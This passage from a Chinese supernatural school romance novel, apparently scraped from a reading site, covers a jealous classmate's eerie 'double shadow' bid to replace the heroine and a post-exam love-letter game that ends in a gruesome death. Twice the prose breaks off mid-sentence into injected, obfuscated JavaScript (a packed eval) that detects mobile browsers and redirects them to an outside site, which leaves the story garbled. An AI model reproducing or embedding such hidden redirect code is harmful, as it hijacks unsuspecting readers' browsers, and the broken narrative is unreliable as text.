虽然知道母亲自从进了监狱,就一直是这副歇斯底里的模样,但听到这些话林雨薇还是有点受不了了。 “你说话能不能不要这么刻薄?是我想不来的吗?我现在高三,马上就要高考了,这么多知识点要复习,这种关键时刻我哪有时间天天来看你啊?” 女人冷笑:“复习复习,这个借口你自己信不信?你是我生的,你什么脑子我还不清楚吗?顶天了不过上个普通一本,将来出社会了还不是当牛做马的命,和你那些同学有什么可比性?” 这句话直接戳到了林雨薇的痛处。 她深吸一口气,点了点头:“是啊,的确没有可比性,人家父母什么身份地位,我父母什么身份地位?” 这段话瞬间激怒了女人:“你说这话什么意思?你是在怪我吗?你居然在怪我!你这个小贱人!当初要不是为了让你过更好的生活,我会沦落到这个地步吗?!我做的一切不都是为了你和你那个白眼狼的爹!居然敢这样说我,你这个死没良心的贱人!” 林雨薇也爆发了:“什么为了我?借口而已!你当初多大?我当初多大?明明是你自己心里扭曲,你怎么好意思把一切都推到我身上?!难道我还能控制你的思想指挥你去虐待儿童吗?!少把错误都赖在我身上,你坐牢完全是你自己咎由自取!” “我咎由自取?你怎么敢说我是咎由自取?”女人撒起泼来,“豪华别墅、进口玩具、名牌衣物、最好的学校,甚至还有专车接送——这些你难道没有享受到吗?你怎么有脸义正严辞地谴责我?!谁都能说我是咎由自取,你能吗?你配吗?!” 林雨薇不再说话,心中只剩下无尽的痛苦。 小孩对幼时的记忆大概总是很模糊,林雨薇也不例外,七岁前的时光她已经想不起太多了。 她只记得,自己住在一座大房子里,房子足足有三层高,里面还自带了电梯,客厅有一面巨大的落地窗,可以看到屋外的常青树,风只要一吹过,常青树树叶也会飒飒作响,像一阵好听的风铃。 房子外就是花园,花园里种满了蓝粉色的绣球花,夏天的时候绣球花会开很久,她最喜欢去摘绣球花玩。 这时母亲总会嗔怪她,让她别玩,说这种花有毒,父亲则会在一旁笑,抱着她宠溺地亲几口,说喜欢的话明天买几株仿真花放家里就好了。 第二天,父亲果然买了几株仿真绣球花,插进了客厅那个晶莹剔透的白玉瓶中。 他们是多么美好、多么幸福的一家三口啊。 但是,这种幸福中,却仿佛隐隐有着某种不太和谐的不安定因素。 从林雨薇有记忆开始,她家里似乎就一直有着一个和她同岁的小男孩。 之所以说“似乎”,是因为林雨薇很少能见到他,那个男孩既不是她的哥哥,也不是她的弟弟,他好像总是被关在杂物间,偶尔才会被放出来。 她曾经疑惑地问过母亲那个男孩的事,母亲脸上的表情僵硬了一下,随即有些不快地说“小孩子别管大人的事,你当他不存在就行了”。 出于孩童的好奇,林雨薇有尝试接近过对方。 但那个男孩既不会哭,也不会笑,更不会说话,就像没有灵魂一样对外界的一切都非常冷漠,林雨薇从小被当做公主,哪里受过这种委屈? 小孩子的好奇心来得快去得也快,她开始渐渐觉得无趣,又想到了母亲的叮嘱,于是也不再去和他玩了。 就这样过了多久呢? 她对那栋大房子最后的记忆是红蓝色的。 红蓝色的警灯闪烁,房子周围围满了警车,母亲挣扎着仓皇地被带上警车,父亲抱着她无助地哭,林雨薇懵懵懂懂,满心茫然,不明白这是发生了什么。 后来她才知道,原来他们一家根本不是那栋大房子的主人,那个男孩才是那栋房子真正的主人,她的母亲是被人花大价钱请来照顾他的保姆,她不仅鸠占鹊巢,甚至背地里一直在虐待男孩。 邻居家的小女孩发现了这件事,于是警察也知道了,证据确凿,她妈妈被抓进监狱,因为情节严重,被判了十几年有期徒刑。 母亲进了监狱,父亲显然不会等她。 她的父亲本来是个骗子,靠一张好脸伪装成功人士,在女人堆里骗吃骗喝,只不过此前恰好遇到了把自己包装成富婆的母亲,被富贵迷了眼,这才起了安定下来的心思。 没想到骗人者人恒骗之,两骗子骗到一块去了,最后富贵没了,情谊自然也就失踪了。 母亲入狱后,父亲很快就消失在了林雨薇的生活中。 自那以后,她的人生发生了翻天覆地的变化。 在那之前,她是叔叔阿姨们交口称赞的小公主,在那之后,她是亲戚朋友避之不及的拖油瓶。 在那之前,大房子随便住、名牌衣服随便穿、高级餐厅随便进。 在那之后,小小年纪的她只能住在有蟑螂出没的破旧小区、忍受不合身的衣服、难以下咽的食物、以及讨厌的老师和同学。 林雨薇觉得命运不公。 如果她不是天生富贵命,又何必要让她体验过这一切后,再无情地收回? 她能适应曾经的生活,却很难适应现在的生活,说明现在这一切,根本就不是她该过的人生。 她心里充满了怨恨,却不知道该去恨谁,她觉得自己就像是被买回来插进白玉瓶里的仿真绣球花,再怎么逼真也终究是假的。 幸运的是,或许是看在她身世可怜的份上,她得到了好心人的资助,对方愿意出钱让她转去海市最好的私立高中——景明国际私立学校就读。 在她转学过去前,曾经学校的老师苦口婆心地劝诫过她: “这种学校的学生大多家境殷实,从小就认识,他们早就形成了自己的圈子,转学生很难融入其中。况且他们将来基本都是要出国的,在学习上抓得不紧,不够自律的孩子稍微放松一点,成绩可能就跟不上了……这对你来说未必是个好选择,你真的要转过去吗?” 林雨薇给出了肯定的回答。 她当然要转过去,那里才是她原本应该待的地方,她在这里受够了,贫穷和低廉的平民气息简直都快把她的灵魂污染完了。 可是老师说得好像没错。 她转过去不久,就受到了校园霸凌。 那些贱人,一个个都眼看人低,见她没有什么身份背景,就都来欺负她。 只有温柔漂亮的班长会一次次帮她,甚至斥责那些霸凌者,阻止他们的所作所为。 班长名叫白栀,她的家境在学校里并不是最好的,但是有一个出身名门的竹马,又因为她长得漂亮可爱,为人温和友善,大家都很喜欢她。 林雨薇原本也应该很喜欢这位班长。 可是她做不到。 因为她认出了白栀。 她就是曾经向警察举报了她母亲的,那个邻居家的小女孩。 而她的竹马凌漾,就是她幼时认识的那个男孩。 真讽刺不是吗? 就是因为当年白栀的报警,她的人生才会发生翻天覆地的变化,她才会从小公主变成现在人人可欺的可怜虫。 白栀把她的人生搅合得一塌糊涂,她毁掉了她原本光明灿烂的生活,怎么还有脸以救世主的姿态,出现在她面前呢? 更讽刺的是,白栀不记得她。 无论是白栀还是凌漾,他们都不记得她。 在照面的第一眼,林雨薇就认出了他们,可这两个曾经对她人生造成过重大影响的人,却一点都不记得她。 转学后不久,林雨薇做了一个梦。 那个梦境里没有白栀,所以理所当然的,她母亲没有被警察抓走,她一直住在那栋漂亮的别墅里。 后来慢慢长大,她逐渐意识到母亲虐待凌漾的做法是不对的,在多次劝说后,母亲停止了对凌漾的虐待,林雨薇对他悉心照料,最终凌漾变成了正常人,原谅了她的母亲。 他们最终在一起了,他继承了凌氏集团,而她嫁给了他,成为了凌夫人。 她终于成了那栋别墅名正言顺的女主人,有一辈子享不完的荣华富贵,谁在她面前都得低三下四毕恭毕敬,再也没人敢看不起她。 她的父母当然也没有离婚,他们感情和谐、白头到老,最终安享晚年。 多么幸福美好的一生。 醒来的时候,林雨薇嘴角还带着微笑。 可是梦境里越是幸福,就衬得现实里的落差越大。 林雨薇非常失落。 现实中白栀的经历,和梦里的她何其相似。 甚至如果不出意外,白栀最后一定会嫁给凌漾,就像梦里的她一样。 后来的她总是梦到相同的内容,梦境里的内容太真实了,林雨薇渐渐有了个预感。 她想,其实梦里的一切,才是她原本的人生,没有白栀的世界,才是她原本的世界。 毕竟仔细想想,她的人生,不就是从白栀报警那一刻开始,转了个弯的吗? 如果这是一本校园小说,白栀就是那个抢走她人生的校花女配,她就是被夺走气运无法反抗的可怜女主。 而凌漾,就是那个被蒙蔽的男主角。 他们都是被白栀篡改了命运的可怜人。 她不能再让他被这样欺骗下去了。 林雨薇终于鼓起勇气找到凌漾,告诉了他真相,包括自己是谁,以及她被白栀抢走气运的事,为了佐证自己的猜测,她还特意向他描述了她的梦境,表示那才应该是他们原本的人生。 她说的真心实意,可是凌漾却始终无动于衷,连表情都没变一下,在她说完后只回了她一个“哦”。 “‘哦’?就只是‘哦’?”林雨薇不可置信,忍不住追问,“你、你就没有别的什么想和我说的了吗?” “有。” 他点了点头。 “什么?” “别在这里发癫。” 林雨薇:“……” 男主也是个废物!一点定力都没有,他竟然也被彻底迷惑了! 这个惨痛的事实,让林雨薇回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174509|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后大哭了一场。 她再一次感受到了自己的势单力薄,她根本赢不了白栀,明明是白栀抢走了她的人生,她却对她一点办法都没有。 她希望白栀能消失,让世界回到原本的轨迹,可是她没有办法,她甚至连杀人都不敢。 但是,又有谁说,让一个人消失,就必须杀人不可呢? ……她得到了一个可能。 也不知道她怎么会这么好运,这个可能恰好就降临到了她身上。 但无论如何,她得到了这个可能。 她可以取代白栀、替代白栀、甚至成为白栀。 她不会放过扭转自己人生的机会的。 这不能怪她,林雨薇想,是白栀抢走了她的人生,她不过是想把原本属于自己的一切重新夺回来罢了,换了任何一个人,都会像她这样做的。 * 叶晴说林雨薇模仿她的事,栀栀本来是没有放在心上的。 但是不知道从什么时候起,林雨薇对她的模仿逐渐离谱,不止是穿着打扮,甚至就连动作举止、表情神态,都在向她靠拢。 栀栀甚至撞见过林雨薇翻垃圾桶,就为了找到她用完丢掉的唇膏,方便买一样的。 白栀:……不是姐,你这真的有点变态了! 就连唇膏都要收集同款吗! 白栀(地铁老人看手机):“……” 虽然……但是……好像也没人规定不可以和别人买一样的唇膏……况且栀栀一向性格好,并不会因为这种事就去为难别人。 可是,同学们的态度却渐渐开始变得有点奇怪。 “雨薇最近好漂亮啊,皮肤好好,是用了什么新的护肤品吗?” “能用什么护肤品啊,我们雨薇不是一直这么天生丽质吗?” “雨薇同学,这里有道题我不太明白,你方便给我讲讲吗?” “好呀。” “雨薇,你想好之后去哪所大学了吗?” “还没有呢。” “雨薇成绩这么好,肯定去哪里都可以啦。” “雨薇雨薇,我约了几个同学毕业后在家里举办派对,你也来嘛好不好?拜托啦!一定要来哦,最喜欢你啦,么么!” 长得漂亮、性格温柔、成绩优异、人缘也很好。 这似乎是现在的林雨薇在同学们心中的印象。 就连长相…… 这时栀栀才惊觉—— 林雨薇什么时候长得和她这么像了? 不是通过发型、饰品、或妆容修饰来的相似,而是打眼望过去,就会觉得林雨薇是白栀本人的那种“相似”。 明明她们身高体型五官气质完全不像。 可她站在那里,就是莫名有种既视感。 与此相对的是,栀栀发现自己在班上的存在感好像变得越来越薄弱了。 有好几次她和同学说话,都是叫了好几声对方才把目光转向她。 但这似乎并不是对方不想理她,而是根本没注意到她。 有人和她打招呼的时候,也总是会怔一下,似乎突然认不出她是谁了,然后下一秒再恢复正常。 这种情景实在让人不安,而这种不安,在老师一次口误,把林雨薇叫成“白栀”后达到了巅峰。 栀栀决定找林雨薇谈谈。 她一开始没有怀疑林雨薇,也不是兴师问罪去的,她只是想问问她,有没有觉得她们俩最近身上发生的事很奇怪。 但她还没来得及开口,林雨薇就目光躲闪地低下了脑袋:“我、我不知道发生了什么……这件事这和我没有关系……” 栀栀:“……” 她都还没说是什么事呢。 “林同学。”栀栀整理了一下思绪,“你有没有觉得最近我们两人身上好像发生了一些变化?我觉得……” 话音未落,林雨薇就打断了她的话:“我没觉得有什么变化!我什么都不知道!你别再问了!” 说完,她就匆匆离开了。 正午的阳光温暖又炽热,栀栀站在原地,却觉得有点发寒。 是她眼花了吗? 林雨薇离开的那一瞬间,她好像看见她的脚下……有两个影子? 那天下午,但凡林雨薇有外出的时间,栀栀也跟着一起出去了。 她确定了,林雨薇就是有两个影子! 一般来说,影子的浓淡和光线的强弱有关,但栀栀在同样的光线下对比过了,林雨薇的两个影子都很淡,远没有她和其他人的影子颜色那么深。 周围没人发现有问题,她只好找凌漾,把自己的疑问简单说了一下,说到最后,她害怕得都快掉小珍珠了:“……所以这到底是什么?二重身吗?继续这样下去,有一天她会彻底取代我吗?我会死掉吗?” 她涂了新唇彩,嘴巴粉嘟嘟,说话的时候张张合合,像一颗果冻。 他的目光落在她的唇上,随即又挪开,凌漾不知道在想什么,似乎有些心不在焉。 他没解答她的疑惑,只是干脆地回了她两个字:“不会。” “为什么?你怎么知道不会?” 栀栀追问。 “没有什么为什么,我就是知道。” 他懒懒地说。 “噢……”见他不愿意多说,栀栀应了一声,有些失落,“好吧,谢谢你听我说这些,和你聊了一下我也没那么慌了……” 说着说着,像是想起了什么,她又高兴了起来:“我想到了,江礼是异化社的人,他肯定知道怎么处理这种事,我再去找他聊聊好了!” 说完她转身就准备离开。 却被握住手腕一把拉了回来。 不知道为什么,凌漾似乎有些被气到了:“你还要去找江礼?” 18. 第十八章 “你还要去找江礼?” 他望着她,不知为何,脸上似乎没有了笑意。 面对他的问题,栀栀一脸天真:“对呀,这件事总要解决的嘛,我想了想,江礼应该有办法……你不会介意吧?” “……我当然不会介意。” 凌漾平静而冷淡地说:“林雨薇已经开始异化了,标志就是那两个‘影子’。‘影子’的机制是先‘分化’再‘过渡’,旧的影子代表她自己,新的影子代表她想成为的‘你’,通过不停模仿,旧影子会变得越来越黯淡,最后原本的影子先消失,只剩下新的影子,此时替代彻底完成。” 说到这里,他脸上露出一个淡淡的、讥诮的笑:“但是到了最后一步,‘新影子’会发现它根本无法替代你,而这时‘原本的影子’又已经消失,就算想重新变回去也来不及了,最后的下场,就是变成一团面目模糊的怪物。” “可是……”栀栀疑惑,“为什么‘新影子’会替代不了我呢?” 凌漾沉默了一会儿,他似乎不想解释这个问题。 但是抵不住少女好奇的凝视,他垂下眼睫,一根手指抵住她心口的位置:“你这里,有我的东西。” “只要我还存在,她就不可能替代得了你。” “噢……”栀栀点了点头,“也就是说,那个东西替代不了我,也不会对我造成威胁?那这么说的话,我还需要去找江礼吗?” 江礼。 又是江礼。 凌漾偏过头,精致的眉宇间兴致寥寥,他脸上没什么表情,只是看起来似乎有种微妙的冷意:“随便你。” 凌漾的回答让栀栀放心了许多,但是她却开心不起来。 一想到同学可能会变成一团面目模糊的怪物,即便林雨薇是抱着想要替代她的想法,栀栀还是十分难过:“怎么会变成这样……之前不都好好的吗?林雨薇……还有苏玥,为什么大家会突然变成怪物……” 话至此处突然一顿,栀栀这才想起,此刻站在自己面前的少年……似乎也是个“怪物”。 死而复生的怪物。 她突然害怕地闭上了嘴。 不过凌漾似乎并不介意,他只是懒散地说:“那你最好尽快习惯,因为接下来这种事,还会有很多。” “啊?”栀栀睁大了眼睛,“还会有很多……是什么意思?难道真要世界末日了吗?” 凌漾扯了扯嘴角,微笑了一下:“谁知道呢。” …… 不知道是什么缘故,总之那天之后,白栀没再见过林雨薇。 她仿佛从这个世界消失了,再也没来过学校,但是没人觉得哪里不对,老师同学就像忘了班上曾经有过这个人似的,谁都没主动提起过她。 与之相应的是,他们对白栀的态度又回到了从前。 不过,白栀没时间再去管这些事。 因为高考来了。 高考前几天学校就放假了,景明国际私立学校不是考点,所以也没有严格清校,只是放学生回家复习。 考试前一天,大概是为了排遣紧张的情绪,叶晴约了栀栀去出来玩。 她们没有像往常一样去逛街或者去甜品店,而是买了两根海盐柠檬味的冰棍,一人叼了一根,在校园里漫无目的地逛了很久。 德育楼是学校里最高的一栋教学楼,从这里往下看,整座校园的景象都能尽收眼底。 此时正值傍晚时分,太阳一点点落下天际线,飞鸟掠过橙红色的云层,留下一抹淡淡的痕迹。 天还是湛蓝色的,蓝得仿佛被颜料晕染过似的,像一场斑驳的梦镜。 叶晴倚在栏杆上,望着下面正在施工的操场:“这是要做什么?翻新跑道吗?” “听说是要重新修建一座露天泳池,之前室内的泳池太旧了。” “露天泳池哎!”叶晴露出了羡慕的表情,随即又遗憾,“可惜我们是用不到了……可恶的学校,为什么不能早点修啊!” “不都是这样的吗?每一届学生都会惊奇地发现,只要自己快离开了,学校就会开始修建各种各样的好东西。” “有点不想毕业呢。” 叶晴突然说。 栀栀叼着冰棍顿了一下,转头看向她。 橙红色的光映照在叶晴脸上,她的神色中罕见地流露出了几分惆怅:“时间过得好快哦,好像都没留下什么深刻的回忆,三年时光就要结束了……” “是啊。”栀栀点了点头,“每天除了学习和做题,好像就是干一些幼稚的事,然后时间就过去了。” “你想好去哪所大学了吗?你成绩这么好,无论去国外还是留在国内,应该都会很不错的。” “还没有呢。” “啊……难道是——”叶晴露出一点八卦的神色,揶揄道,“难道是决定要和凌漾去一所学校?” 说起某人,白栀就想到他死活不涨的好感度,随即心塞:“呵呵,不提也罢。” “啊?为什么呀?”叶晴担忧道,“自从凌漾死了回来后,你们之间就变得有点怪怪的了……什么情况啊?照你们俩之前的相处模式,我还以为将来一定会来你们婚礼上当伴娘呢……是你移情别恋了还是他移情别恋了?” 栀栀:“如果是他移情别恋了会怎样?” 叶晴:“此人罪该万死!” 栀栀好奇:“那如果是我移情别恋了呢?” 叶晴:“你这么做想必有你的理由,可以理解。” 栀栀笑死:“你也太区别对待了吧?” 叶晴深沉道:“你没听说过一句话吗?别人出轨,自甘下贱;朋友出轨,别被发现;自己出轨,倾城之恋(注:此段来自网络流传的段子)——鉴于你是我最好的朋友,我对你没有道德方面的要求,你将来如果出轨了,我可以帮你打掩护糊弄你未来老公。” 栀栀:“……谢谢了啊,有你这种朋友,我未来老公也算可以瞑目了。” 插科打诨了一阵,叶晴又问:“栀栀,你以后想做什么呢?” 以后。 这个词让白栀略微怔了一下。 她不认为自己会有“以后”,至少在这个世界,等到任务一完成,她就会离开,去思索“以后”,完全是一件没有意义的事。 “不知道呢,还没想好……”她只能这样说,“总觉得,以后什么的,这种话题离我好像还很远,远到像是十年后才需要思考的事。” “是啊,我也很难想象,十年、二十年、三十年后的自己会变成什么样的大人,有没有结婚,做着什么样的工作,又或者身处何方……”她的神色迷茫中带着憧憬,憧憬中又透着迷茫,“但是,总会有些想要的东西吧?想要什么,也许我们最终就会变成什么样子……栀栀有什么想要的东西吗?” 想要的东西…… 白栀望着天边飞鸟掠过的踪迹,轻声说:“现在最想要的……大概是自由吧。” “自由?”叶晴不解,随即又恍然,“噢,这个很简单啊,高考结束,等上了大学就自由了——老师他们都是这样说的。” 叶晴完全误会了她的意思,但白栀不想解释更多,只是笑了笑:“不说我了,小晴你呢?你有什么想要的东西吗?” 叶晴嘿嘿一笑:“目前没有,一定要说的话,我想和你当一辈子的好朋友!” 这个幼稚的发言,让白栀忍不住莞尔:“现在说得是很好,但是说不定等你上了大学,有了更好的新朋友,就把我忘了呢?” “有可能哦!”叶晴煞有介事地点头,“所以毕业了你也要多多和我联系,多多和我出来玩,不然我会很快忘掉你的!” “放心吧。”栀栀严肃道,“我会一直和你保持联系的——等你老了我还要卖保健品给你呢。” 叶晴气急:“保健品这个梗还能不能过去了啊!” * 以往高考当天海市总是会下雨,但今年却不同,连着三天都是阳光明媚的大晴天。 伴随着最后一科考试的结束铃声响起,无论做得怎么样,无路结果是好是坏,所有人都放下了笔。 三年时光,在这一刻宣告结束。 …… “考完啦考完啦!终于考完啦!” “郑高宇你别在门那上蹿下跳!你以为你是猴子吗你!” “快点把书搬走啦,把教室空出来,等会儿不是还有游戏吗?还有苏继青、温云霆、方玉——你们几个别在那闲着,帮忙搬一下呀,等会儿来不及了!” “才刚高考完,今天时间多的是,急什么?” “孟琪~琪琪~和我一起去买饮料吧?朋友们,你们有什么想喝的吗?我们要去学校便利店,可以顺便给你们带点。” “紫溪美女~陈紫溪大美女~给我带瓶菠萝啤好不好呀?你最好了,我一会儿转钱给你~” “学校里哪有菠萝啤卖呀?我最多给你带瓶菠萝味的气泡水。” …… 这是高考结束的傍晚,同学们都有点激动,学校里很多班都在开最后一次班会——老师们讲几句勉励大家的话后,就把空间全部留给了学生,与其说是班会,不如说是最后一次同学聚会。 看电影的、玩真心话大冒险的、在教室里开演唱会的……从走廊上经过,到处都能听见各个班级传来的欢(鬼)声(哭)笑(狼)语(嚎)。 白栀到一班的时候,看到的就是这样的场景。 同学中有冰释前嫌互诉衷肠的、有一如既往沉迷游戏的、有到处签同学录并嘱咐“苟富贵勿相忘”的……总之是一派生机勃勃的景象。 但是,她没看到凌漾的身影。 是迟到了?还是没打算来? 她想了想,给凌漾发了个消息:【凌漾你在哪儿?你不来参加班级活动吗?】 凌漾不知道在做什么,暂时没有回她。 “栀栀,这边!” 叶晴的声音把她的注意力拉了过去。 栀栀收起手机,坐到她旁边,发现自己桌子上正放着一张白底粉格的信纸,这张信纸右上方还有一个红色的爱心。 这个东西好像有点眼熟。 “这不是之前你和我说的那个什么‘恋爱信纸’吗?在正面写自己的名字,在背面写喜欢的人的名字,然后把它交给暗恋对象,就可以得到对方的真心……”栀栀疑惑道,“我知道它最近在学校里很火,有人甚至把‘秃头化学老师’和‘地中海物理老师’都拉郎配了……但是我没有啊,这东西怎么会在我这儿?” “就剩你没写了。” “啊?” 叶晴凑近她小声说:“是这样的,今晚有几个胆小鬼想和喜欢的人告白,但又怕被拒绝了会尴尬,所以拜托其他同学帮一下忙。” “他们的想法是拿游戏当幌子,让全班同学都在这个信纸上写下自己和另一个人的名字,折起来放进箱子里,然后随机抽取信纸,被抽到信纸正面的人,要向信纸背面的人告白——就说想看看这个信纸是不是传闻中说的那么神奇。” “这样一来,如果对方对告白者有意思,就可以顺势答应下来,如果没有意思,那么拒绝了也可以用游戏的理由打哈哈搪塞过去,大家也不会太尴尬,还是能继续当朋友。” “懂了,就和愚人节向喜欢的人告白一个道理对吧?” “差不多啦,反正大家都写了,就剩你没写——凌漾也没写,不过他没来,可以不算他。” 栀栀看着那张信纸,不知为何有点隐隐的抗拒:“就不能不写么?我没有想告白的人呀,万一抽中我了多尴尬。” “放心吧,他们在信纸上做了标记,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就是……这个‘恋爱信纸’的传说大家应该都听说过了——在正面写上自己的名字,在背面写上另一个人的名字,然后拿着它去向对方问三个问题,如果对方回答都是肯定的,那么就能得到对方的真心……咳,为了验证这个传闻的真实性,我们打算玩个游戏——真的只是游戏哦,绝对没有要借此告白的意思……” 叶晴受不了了,低声吐槽:“郑高宇是傻逼吗?演技这么差,就差说此地无银三百两了!” 同学们都嘻嘻哈哈的,但是栀栀却注意到坐在旁边的韩秋心握紧了手,神色间有几分紧张和羞赧,顿时了然——韩秋心应该就是真的准备告白的几个人之一了。 她对此并不惊讶,韩秋心和苏继青当了三年的同桌,大家都看得出他们对彼此有意思,但两人就是死活不表明心意,简直是在上演真人版的《好想急死你》。 果不其然,郑高宇用着蹩脚的演技装模作样地在箱子里摸索了一番,然后非常“巧合”地抽中了韩秋心。 她要告白的对象是苏继青。 两人一时都有点手足无措,一个看天一个看地,就是不敢看对方。 在同学们善意的起哄声中,韩秋心拿着信纸走向苏继青,把信纸递给了他。 苏继青接过了信纸。 同学们的起哄声更大了,有人提醒道:“韩秋心,别忘了那三句咒语!” 韩秋心脸更红了,在心里默念了几下,鼓足勇气开口了:“苏同学,我有三件事想和你完成。第、第一,你可以和我牵手吗?” 苏继青轻咳了一声,挠挠脑袋,似乎有些不好意思:“好、好啊。” “那、那你可以和我接吻吗?” 他脸更红了,默默点了点头。 这两个问题和答案一出,两人脸上都开始发烧。 平复了一下心跳,韩秋心期待地说出最后一个问题:“那……最后一个问题,我、我可以得到你的心吗?” 苏继青闷闷地小声说:“好啊。” “哇啊啊啊啊啊啊啊啊啊啊!”教室里顿时爆发出一阵欢呼声,“抱一个抱一个抱一个!” 韩秋心害羞得脸都红了,但并没有拒绝。 这样……就算是确定关系了吧? 她想。 既然已经确定关系了,那么抱一下也没什么。 想到这里,她期待又羞赧地闭上了眼。 可是她到底没有等到苏继青的拥抱。 像是有什么东西飞溅到了脸上、身上,湿漉漉的触感,韩秋心抬起头,还没反应过来那是什么,视野突然变成了一片刺目的红。 她看到了跳动的心。 不是信纸上的那颗红色的爱心。 而是被人手捧着的、鲜红的心。 一只手插进了苏继青的胸口,挖开血肉和骨架,捧出了他的心。 那只手,是他自己的手。 苏继青似乎没意识到发生了什么,也不知道自己做了什么,他看着自己手中的心,脸上只剩下一种茫然夹杂着惊惧的奇怪神情。 “我……” 他张了张嘴,似乎是想说什么,可此情此景,就连他自己也不知道该说什么,能说什么,想说什么,要说什么。 心里的最后一个念头是,他刚才好像的确答应了她……要把自己的心给她。 “砰——!” 他向着地板直直地砸了下去。 手中的心掉落在地,滚到了韩秋心的脚边。 “……苏、继青……?” 韩秋心愣愣地叫了一遍这个名字,她脸上还带着没来得及收回的羞涩笑容,手中的信纸却飘然坠地。 信纸飘在了血泊里,瞬间被染成了红色。 右上角那颗红色的心,似乎真的跳动了起来。 这个突如其来的变故,让所有人都愣在了原地。 教室里一片死寂。 没人反应过来发生了什么。 就像没人在此刻想起,不止是韩秋心和苏继青,他们所有人的名字……好像都被写在了爱心信纸上。 这注定是景明私立国际学校的学生,最难忘的一次班级聚会。 三年青春时光结束了。 同学间这场血腥的告白游戏,才刚刚拉开序幕。